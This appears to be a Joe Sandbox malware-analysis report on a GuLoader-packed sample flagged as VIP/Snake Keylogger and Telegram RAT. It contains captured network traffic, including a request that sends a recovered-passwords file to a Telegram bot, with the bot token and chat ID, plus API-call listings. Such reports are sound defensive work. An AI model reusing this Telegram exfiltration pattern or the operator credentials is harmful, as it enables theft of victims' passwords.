2025-01-11 01:23:39 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:39 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1873408 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DmJAHcgPe89JnDbFaWzp8sB0STFa%2BPoiedX84Zqrxa4ci3Gwal1PGvfSJ3FtWV%2FN%2FMtGx7MhuzBqzc9nhpFbwC54z2cbM%2BjCcHLhfiszFfFMHLhbKRE4l316Azv2jbkVNjebTQw4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90011a4dedc11899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1636&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1761158&cwnd=153&unsent_bytes=0&cid=66f20d729aedb020&ts=127&x=0"
2025-01-11 01:23:39 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49728	149.154.167.220	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:40 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20and%20Time:%2011/01/2025%20/%2007:38:53%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20887849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-11 01:23:40 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 01:23:40 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 01:23:40 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49730	149.154.167.220	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:47 UTC	346	OUT	POST /bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767942457&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd326d50cf3dca Host: api.telegram.org Content-Length: 582
2025-01-11 01:23:47 UTC	582	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 32 36 64 35 30 63 66 33 64 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 68 75 62 65 72 74 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 38 37 38 34 39 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 30 2f 30 31 2f 32 30 32 35 20 2f 20 32 30 3a 32 33 3a 32 34 Data Ascii: --------------------------8dd326d50cf3dcaContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:887849Date and Time: 10/01/2025 / 20:23:24
2025-01-11 01:23:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 01:23:47 GMT Content-Type: application/json Content-Length: 528 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 01:23:47 UTC	528	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 31 38 32 34 34 37 35 30 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 66 66 69 78 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 65 61 6d 61 69 6e 7a 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 37 36 37 39 34 32 34 35 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 61 70 65 72 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 69 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6d 72 67 69 67 6f 32 33 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 35 38 36 32 37 2c 22 64 6f 63 75 6d 65 6e 74 Data Ascii: {"ok":true,"result":{"message_id":46,"from":{"id":8118244750,"is_bot":true,"first_name":"offixbot","username":"seamainzbot"},"chat":{"id":1767942457,"first_name":"Paper","last_name":"Boi","username":"mrgigo23","type":"private"},"date":1736558627,"document

Target ID:	0
Start time:	20:22:28
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZoRLXzC5qF.exe"
Imagebase:	0x400000
File size:	573'816 bytes
MD5 hash:	63A7BCF75C4F84B0E2DD1645F9E8FCFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1845384841.0000000008108000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:23:09
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZoRLXzC5qF.exe"
Imagebase:	0x400000
File size:	573'816 bytes
MD5 hash:	63A7BCF75C4F84B0E2DD1645F9E8FCFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	13.8%
Signature Coverage:	19.4%
Total number of Nodes:	1569
Total number of Limit Nodes:	40

Executed Functions

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403575
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004035A0
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004035B3
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040364C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403689
OleInitialize.OLE32(00000000), ref: 00403690
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 004036AF
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036C4
CharNextW.USER32(00000000,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",00000020,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",00000000,?,00000008,0000000A,0000000C), ref: 004036FD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403835
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403852
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403866
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040386E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403887
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040389B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403974

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

wsprintfW.USER32 ref: 004039D1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 00403A04
DeleteFileW.KERNEL32(00437800), ref: 00403A10
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A3E

Part of subcall function 00406337: MoveFileExW.KERNEL32(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341

CopyFileW.KERNEL32(C:\Users\user\Desktop\ZoRLXzC5qF.exe,00437800,?,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A54

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
ExitProcess.KERNEL32 ref: 00403ABF
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
ExitProcess.KERNEL32 ref: 00403B69

Part of subcall function 00405B25: CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B

Strings

Error launching installer, xrefs: 0040391D
TMP, xrefs: 00403882
SeShutdownPrivilege, xrefs: 00403AF8
C:\Users\user\Desktop\ZoRLXzC5qF.exe, xrefs: 00403A4F
C:\Users\user\AppData\Local\Temp\, xrefs: 0040382A, 0040382F, 00403845, 00403851, 00403860, 0040386D, 00403879, 00403881, 0040396F, 004039F0, 00403A1C, 00403A3D, 00403A46
~nsu%X.tmp, xrefs: 004039C8
\Temp, xrefs: 0040384C
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040381A, 0040393C, 00403989, 00403997
1033, xrefs: 00403896
"C:\Users\user\Desktop\ZoRLXzC5qF.exe", xrefs: 004036CA, 004036D0, 004036E5, 004038C3
NSIS Error, xrefs: 004036B5
TEMP, xrefs: 0040387A
Low, xrefs: 00403868
UXTHEME, xrefs: 00403640, 00403645, 0040364B
C:\Users\user\Desktop, xrefs: 00403992
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403947

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: "C:\Users\user\Desktop\ZoRLXzC5qF.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\Desktop$C:\Users\user\Desktop\ZoRLXzC5qF.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-2510714378
Opcode ID: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
Opcode Fuzzy Hash: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E

Function 0040573B Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405799
GetDlgItem.USER32(?,000003EE), ref: 004057A8
GetClientRect.USER32(?,?), ref: 004057E5
GetSystemMetrics.USER32(00000002), ref: 004057EC
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
ShowWindow.USER32(?,00000008), ref: 00405888
GetDlgItem.USER32(?,000003EC), ref: 004058A9
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
GetDlgItem.USER32(?,000003F8), ref: 004057B7

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,?,00404356), ref: 00404539

GetDlgItem.USER32(?,000003EC), ref: 004058FB
CreateThread.KERNELBASE(00000000,00000000,Function_000056CF,00000000), ref: 00405909
CloseHandle.KERNELBASE(00000000), ref: 00405910
ShowWindow.USER32(00000000), ref: 00405934
ShowWindow.USER32(?,00000008), ref: 00405939
ShowWindow.USER32(00000008), ref: 00405983
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
CreatePopupMenu.USER32 ref: 004059C8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
GetWindowRect.USER32(?,?), ref: 004059FC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
OpenClipboard.USER32(00000000), ref: 00405A5D
EmptyClipboard.USER32 ref: 00405A63
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
GlobalLock.KERNEL32(00000000), ref: 00405A79
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
CloseClipboard.USER32 ref: 00405ABE

Strings

{, xrefs: 004059A1
<\, xrefs: 0040598D

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: <\${
API String ID: 590372296-1001074251
Opcode ID: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
Opcode Fuzzy Hash: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998

lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",00008001), ref: 00403CCA
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420), ref: 00403D4A
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
GetFileAttributesW.KERNEL32(Call), ref: 00403D68
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres), ref: 00403DB1

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

RegisterClassW.USER32(004336A0), ref: 00403DEE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
ShowWindow.USER32(00000005,00000000), ref: 00403E71
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
RegisterClassW.USER32(004336A0), ref: 00403EB3
DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2

Strings

.exe, xrefs: 00403D57
RichEd20, xrefs: 00403E77
_Nb, xrefs: 00403DCD, 00403E35
Control Panel\Desktop\ResourceLocale, xrefs: 00403C7D
Call, xrefs: 00403D11, 00403D1A, 00403D28, 00403D77, 00403D7D
.DEFAULT\Control Panel\International, xrefs: 00403CB5
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C4E
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403CD9, 00403CE1, 00403D84, 00403D8A, 00403D9A
1033, xrefs: 00403C69, 00403CC5
RichEd32, xrefs: 00403E85
"C:\Users\user\Desktop\ZoRLXzC5qF.exe", xrefs: 00403C4C
RichEdit20W, xrefs: 00403E95, 00403E9B
RichEdit, xrefs: 00403EA4

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\ZoRLXzC5qF.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1300104100
Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405CAC
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405CF4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405D17
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405D1D
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405D2D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
FindClose.KERNEL32(00000000), ref: 00405DDC

Strings

"C:\Users\user\Desktop\ZoRLXzC5qF.exe", xrefs: 00405C8C
\*.*, xrefs: 00405CEE
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C90
pB, xrefs: 00405CDC

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
